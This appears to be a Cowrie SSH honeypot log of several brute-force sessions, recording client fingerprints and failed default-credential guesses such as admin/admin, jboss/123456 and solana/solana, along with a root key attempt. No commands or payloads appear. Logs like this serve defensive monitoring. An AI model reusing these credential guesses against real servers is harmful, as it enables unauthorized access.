{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:04:03.997501Z","src_ip":"64.176.195.200","session":"ecbcc0f0123a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:04:04.002745Z","src_ip":"64.176.195.200","session":"ecbcc0f0123a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"piratechain","password":"piratechain@","message":"login attempt [piratechain/piratechain@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:04:04.015429Z","src_ip":"64.176.195.200","session":"ecbcc0f0123a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:04:05.022127Z","src_ip":"64.176.195.200","session":"ecbcc0f0123a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":57926,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cd0f739da38","protocol":"ssh","message":"New connection: 172.105.63.214:57926 (159.203.135.109:22) [session: 5cd0f739da38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:04:55.284439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:04:55.288505Z","src_ip":"172.105.63.214","session":"5cd0f739da38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:04:55.501389Z","src_ip":"172.105.63.214","session":"5cd0f739da38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seedphrase","password":"seedphrase2018","message":"login attempt [seedphrase/seedphrase2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:04:55.929181Z","src_ip":"172.105.63.214","session":"5cd0f739da38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:04:57.143899Z","src_ip":"172.105.63.214","session":"5cd0f739da38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":58594,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf6f958cfa5c","protocol":"ssh","message":"New connection: 92.118.39.56:58594 (10.17.0.5:22) [session: cf6f958cfa5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:05:28.242586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:05:28.247426Z","src_ip":"92.118.39.56","session":"cf6f958cfa5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:05:28.353760Z","src_ip":"92.118.39.56","session":"cf6f958cfa5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:05:28.670626Z","src_ip":"92.118.39.56","session":"cf6f958cfa5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:05:29.778423Z","src_ip":"92.118.39.56","session":"cf6f958cfa5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":59588,"dst_ip":"159.203.135.109","dst_port":22,"session":"e76f5848f183","protocol":"ssh","message":"New connection: 172.187.200.190:59588 (159.203.135.109:22) [session: e76f5848f183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:05:36.025153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:05:36.029534Z","src_ip":"172.187.200.190","session":"e76f5848f183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:05:36.115702Z","src_ip":"172.187.200.190","session":"e76f5848f183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rlc","password":"rlc1","message":"login attempt [rlc/rlc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:05:36.288571Z","src_ip":"172.187.200.190","session":"e76f5848f183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:05:37.376438Z","src_ip":"172.187.200.190","session":"e76f5848f183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.208.206.75","src_port":47134,"dst_ip":"159.203.135.109","dst_port":22,"session":"3070d5fab19d","protocol":"ssh","message":"New connection: 91.208.206.75:47134 (159.203.135.109:22) [session: 3070d5fab19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:06:41.169397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:06:43.350568Z","src_ip":"91.208.206.75","session":"3070d5fab19d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:06:43.354483Z","src_ip":"91.208.206.75","session":"3070d5fab19d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:06:50.392503Z","src_ip":"91.208.206.75","session":"3070d5fab19d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:06:51.921509Z","src_ip":"91.208.206.75","session":"3070d5fab19d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":39086,"dst_ip":"10.17.0.5","dst_port":22,"session":"efdbacbf9a7c","protocol":"ssh","message":"New connection: 103.153.254.168:39086 (10.17.0.5:22) [session: efdbacbf9a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:10.446962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:10.455760Z","src_ip":"103.153.254.168","session":"efdbacbf9a7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:10.712650Z","src_ip":"103.153.254.168","session":"efdbacbf9a7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jboss","password":"123456","message":"login attempt [jboss/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:11.762198Z","src_ip":"103.153.254.168","session":"efdbacbf9a7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:13.040266Z","src_ip":"103.153.254.168","session":"efdbacbf9a7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.129.61.4","src_port":64964,"dst_ip":"10.17.0.5","dst_port":22,"session":"df18c626c22d","protocol":"ssh","message":"New connection: 185.129.61.4:64964 (10.17.0.5:22) [session: df18c626c22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:31.132308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.9","message":"Remote SSH version: SSH-2.0-OpenSSH_9.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:31.265500Z","src_ip":"185.129.61.4","session":"df18c626c22d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1cc79c7da9b5d5eead2c60983332a556","hasshAlgorithms":"sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1cc79c7da9b5d5eead2c60983332a556","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:31.408568Z","src_ip":"185.129.61.4","session":"df18c626c22d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:32.333937Z","src_ip":"185.129.61.4","session":"df18c626c22d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:07:32.336931Z","src_ip":"185.129.61.4","session":"df18c626c22d","protocol":"ssh"}
